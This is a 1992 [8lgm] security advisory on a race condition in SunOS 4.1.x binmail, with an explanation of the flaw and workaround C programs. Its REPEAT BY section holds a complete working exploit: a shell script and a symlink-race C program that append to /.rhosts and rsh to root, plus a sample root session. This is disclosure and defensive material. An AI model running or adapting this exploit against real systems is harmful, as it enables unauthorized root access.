[8lgm]-Advisory-5.UNIX.mail.24-Jan-1992

PROGRAM:

        binmail(1)        (/usr/bin/mail)

VULNERABLE OS's:

SunOS 4.1.x

(Possibly other platforms - see DISCUSSION)

DESCRIPTION:

A race condition exists in binmail(1), which allows files to be created in arbitrary places on the filesystem. These files can be owned by arbitrary (usually system) users.

IMPACT:

Any user with access to binmail(1) can become root.

REPEAT BY:

This example demonstrates how to become root on most affected machines by creating/appending-to root's .rhosts file. Please do not do this unless you have permission.

Create the following file, 'mailscript':

8<--------------------------- cut here ----------------------------
#!/bin/sh
#
# Syntax: mailscript user target-file rsh-user
#
# This exploits a flaw in SunOS binmail(1), and attempts
# to become the specified 'user', by creating a .rhosts
# file and using rsh.
#
# Written 1992 by [8LGM]
# Please do not use this script without permission.
#
PATH=/usr/ucb:/usr/bin:/bin      export PATH
IFS=" "                          export IFS

PROG="`basename $0`"
SPOOLDIR="/var/spool/mail"

# Check args
if [ $# -ne 3 ]; then
        echo "Syntax: $PROG user target-file rsh-user"
        exit 1
fi
TARGET="$1"
TARGET_FILE="$2"
RSH_USER="$3"

# Check we're on SunOS
if [ "x`uname -s`" != "xSunOS" ]; then
        echo "Sorry, this only works on SunOS"
        exit 1
fi

# Check user exists
grep "^$TARGET:" /etc/passwd >/dev/null 2>&1
if [ $? -ne 0 ]; then
        echo "$PROG: Warning, $TARGET not in local passwd file"
        # We continue though, might be in the YP passwd file
fi

# Check target file
if [ -f $TARGET_FILE ]; then
        OLD_TARGET_LEN=`ls -ld $TARGET_FILE | awk -F' ' '{print $4}'` 2>/dev/null
        echo "$PROG: Warning, $TARGET_FILE already exists, appending"
else
        OLD_TARGET_LEN=0
fi

# Delete spool file if its a link, and we are able
if [ -h "$SPOOLDIR/$TARGET" ]; then
        rm -f "$SPOOLDIR/$TARGET"
        # Dont worry about errors, we catch it below
fi

# Check mail file
if [ -f "$SPOOLDIR/$TARGET" ]; then
        echo "$PROG: ${TARGET}'s mail file exists."
        exit 1
fi

# Make the race program
cat >mailrace.c << 'EOF'
#include 

main(argc,argv)
int argc;
char *argv[];
{
        if (argc != 3) {
                fprintf(stderr, "Usage: %s mailfile newfile\n", argv[0]);
                exit(1);
        }

        for (;;) {
                unlink(argv[1]);
                symlink(argv[2], argv[1]);
        }
}
EOF
cc -o mailrace mailrace.c

# Check we now have mailrace
if [ ! -x "mailrace" ]; then
        echo "$PROG: couldnt compile mailrace.c - check it out"
        exit 1
fi

# Start mailrace
./mailrace $SPOOLDIR/$TARGET $TARGET_FILE &
RACE_PID=$!

# Send mail to the user
NEW_TARGET_LEN=$OLD_TARGET_LEN
while [ "x$NEW_TARGET_LEN" = "x$OLD_TARGET_LEN" ]; do
        echo "Sending mail to $TARGET"
        echo "localhost $USER" | /bin/mail $TARGET
        sleep 10
        kill -STOP $RACE_PID
        rm -f $SPOOLDIR/$TARGET >/dev/null 2>&1
        if [ -f $SPOOLDIR/$TARGET ]; then
                echo "$PROG: Sorry, we lost the race - cant try again."
                kill -9 $RACE_PID
                exit 1
        fi
        kill -CONT $RACE_PID
        if [ -f "$TARGET_FILE" ]; then
                NEW_TARGET_LEN=`ls -ld $TARGET_FILE | awk -F' ' '{print $4}'` 2>/dev/null
        else
                NEW_TARGET_LEN=0
        fi
        if [ "x$NEW_TARGET_LEN" = "x$OLD_TARGET_LEN" ]; then
                echo "We drew the race that time, trying again"
        fi
done

# We won the race
kill -9 $RACE_PID
echo "We won the race, becoming $RSH_USER"
rsh localhost -l $RSH_USER sh -i
exit 0
8<--------------------------- cut here ----------------------------

(Lines marked with > represent user input)

Check what root users are on the system:

>       % grep :0: /etc/passwd
        root:*:0:1:Operator:/:/bin/csh
        sysdiag:*:0:1:Old System Diagnostic:/usr/diag/sysdiag:/usr/diag/sysdiag/sysdiag
        sundiag:*:0:1:System Diagnostic:/usr/diag/sundiag:/usr/diag/sundiag/sundiag
        +::0:0:::

We choose a user with UID 0, but without a /var/spool/mail/ file:

>       % ls -l /var/spool/mail/sysdiag
        /var/spool/mail/sysdiag not found

Execute mailscript. The user is sysdiag, the target file is /.rhosts, and the user to rsh to on success is root:

>       % chmod 700 mailscript
>       % ./mailscript sysdiag /.rhosts root
        mailscript: Warning, /.rhosts already exists, appending
        Sending mail to sysdiag
        We won the race, becoming root
        ./mailscript: 11051 Killed
        #

DISCUSSION:

This problem exists because /var/spool/mail is rwxrwxrwt. (Other systems have their spool dir rwxrwxr-x, and run their MUA's sgid mail). Before it opens the mail file, binmail does an lstat(2) to check that it is not about to write to a linked file. The intention is to prevent arbitrary files from being created or appended to.

However, there exists a window of opportunity between lstat(2) and open(2); if a link is created after lstat, open will then follow the link. This is not a straightforward task, as it is not possible to predict when to create the link.

Therefore it is necessary to have a program (mailrace) which continually creates links and then removes them. To exploit the window of opportunity, it is required that the link has been removed before the context switch for lstat, but exists for open. There are three possible outcomes for this race:-

1. lstat finds a link - mail returned to sender.

2. link does not exist for lstat, but does for open - file created - we win.

3. link does not exist for lstat or open - mailbox created. In this case, it is not possible to remove the mailbox (as the stick bit is set on /var/spool/mail), so it is necessary to choose another target user.

In tests, it would appear that the chances of 1) and 2) occurring are approximately equal, with the chance of 3) being somewhat lower.

Please note that this vulnerability may exist on other platforms where the mail spool directory has mode 777 and /bin/mail is setuid root.

WORKAROUND & FIX:

1. Contact your vendor for a patch.

2. We have considered several potential workarounds for this vulnerability. The ideal fix would be to remove global write access to the mail spool directory. However, this is not possible as programs such as /bin/mail, /usr/ucb/Mail and elm require everyone to have write access. Also it is not possible to, for example, change the group ownership of /var/spool/mail to mail and give /bin/mail and /usr/ucb/Mail setgid mail privilege, as they do not reset their group id before forking a shell.

   We have therefore decided that the following is the only viable method:

   1. Ensure that every user maintains a mailbox file. The following program will create a mailbox for every user on the system, if one does not currently exist.

      8<--------------------------- cut here ----------------------------
      /*
       * makemailboxes.c
       *
       * Written 1994 by [8LGM]
       *
       * This program is part of a workaround for the SunOS 4.1.x /bin/mail
       * bug described in the 8LGM Advisory.  This program should be executed
       * as root, and will create a mailbox for each user that doesnt have one.
       * In order for this workaround to be effective, /usr/ucb/Mail also needs
       * to be wrapped with wrapper.c.
       */
      
      #include 
      #include 
      #include 
      #include 
      #include 
      #include 
      #include 
      
      #define MAIL_SPOOL_DIR "/var/spool/mail"
      
      main(argc, argv)
      int argc;
      char *argv[];
      {
              int    fd;
              char   path[MAXPATHLEN + 5];
              struct passwd *pw;
      
              umask(0);
              setpwent();
              while (pw = getpwent()) {
                      sprintf(path, "%s/%s", MAIL_SPOOL_DIR, pw->pw_name);
                      if (access(path, F_OK)) {
                              if ((fd = open(path,O_CREAT|O_EXCL|O_WRONLY, 0600)) < 0)
                                      perror("open");
                              else {
                                      if (fchown(fd, pw->pw_uid, pw->pw_gid))
                                              perror("fchown");
                                      close(fd);
                                      printf("Created %s\n", path);
                              }
                      }
              }
              endpwent();
              exit(0);
      }
      8<--------------------------- cut here ----------------------------
      

   2. /usr/ucb/Mail removes the mailbox file if all mail has been read, and the user is not preserving the contents. Therefore, we would recommend using the following wrapper for Mail, which creates the user's mailbox if it has been removed.

8<--------------------------- cut here ----------------------------
/*
 * wrapper.c
 *
 * Written 1994 by [8LGM]
 *
 * This program is part of a workaround for the SunOS 4.1.x /bin/mail
 * bug described in the 8LGM Advisory.  Programs such as /usr/ucb/Mail
 * that will delete the user's mailbox when he/she has no mail need to
 * be wrapped with this.
 *
 * Install as follows:
 *
 *        # cc -O -o wrapper wrapper.c
 *        # mv /usr/ucb/Mail /usr/ucb/Mail.old
 *        # mv /usr/ucb/mail /usr/ucb/mail.old
 *        # cp wrapper /usr/ucb/Mail
 *        # chmod 755 /usr/ucb/Mail
 *        # ln /usr/ucb/Mail /usr/ucb/mail
 *
 * DO NOT INSTALL THIS PROGRAM SET-UID/SET-GID ANYTHING.
 */

#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define MAIL_SPOOL_DIR "/var/spool/mail"

main(argc, argv)
int argc;
char *argv[];
{
        pid_t  pid;
        int    status, fd;
        char   path[MAXPATHLEN + 5], *user;
        struct passwd *pw;

        if ((pid = fork()) == -1) {
                perror("fork");
                exit(1);
        }

        sprintf(path, "%s.old", argv[0]);
        if (pid == 0) {
                execvp(path, argv);
                perror("execvp");
                exit(1);
        }

        setuid(getuid());     /* Just in case we're suid,
                                 which we shouldnt be */
        if (waitpid(pid, &status, 0) == -1) {
                perror("waitpid");
                exit(1);
        }

        if ((user = (char*)getenv("USER")) == NULL) {
                if ((pw = getpwuid(getuid())) == NULL) {
                        fprintf(stderr, "Who are you?!");
                        exit(1);
                }
                user = pw->pw_name;
        }
        sprintf(path, "%s/%s", MAIL_SPOOL_DIR, user);
        if (access(path, F_OK)) {
                if ((fd = open(path, O_CREAT|O_EXCL|O_WRONLY, 0600)) < 0)
                        perror("open");
                else
                        close(fd);
        }
        exit(status);
}
8<--------------------------- cut here ----------------------------

FEEDBACK AND CONTACT INFORMATION:

        8lgm-bugs@bagpuss.demon.co.uk           (To report security flaws)

        8lgm-request@bagpuss.demon.co.uk        (Request for [8lgm] Advisories)

        8lgm@bagpuss.demon.co.uk                (General enquiries)

System Administrators are encouraged to contact us for any other information they may require about the problems described in this advisory.

We welcome reports about which platforms this flaw does or does not exist on.

NB: 8lgm-bugs@bagpuss.demon.co.uk is intended to be used by people wishing to report which platforms/OS's the bugs in our advisories are present on. Please do *not* send information on other bugs to this address - report them to your vendor and/or comp.security.unix instead.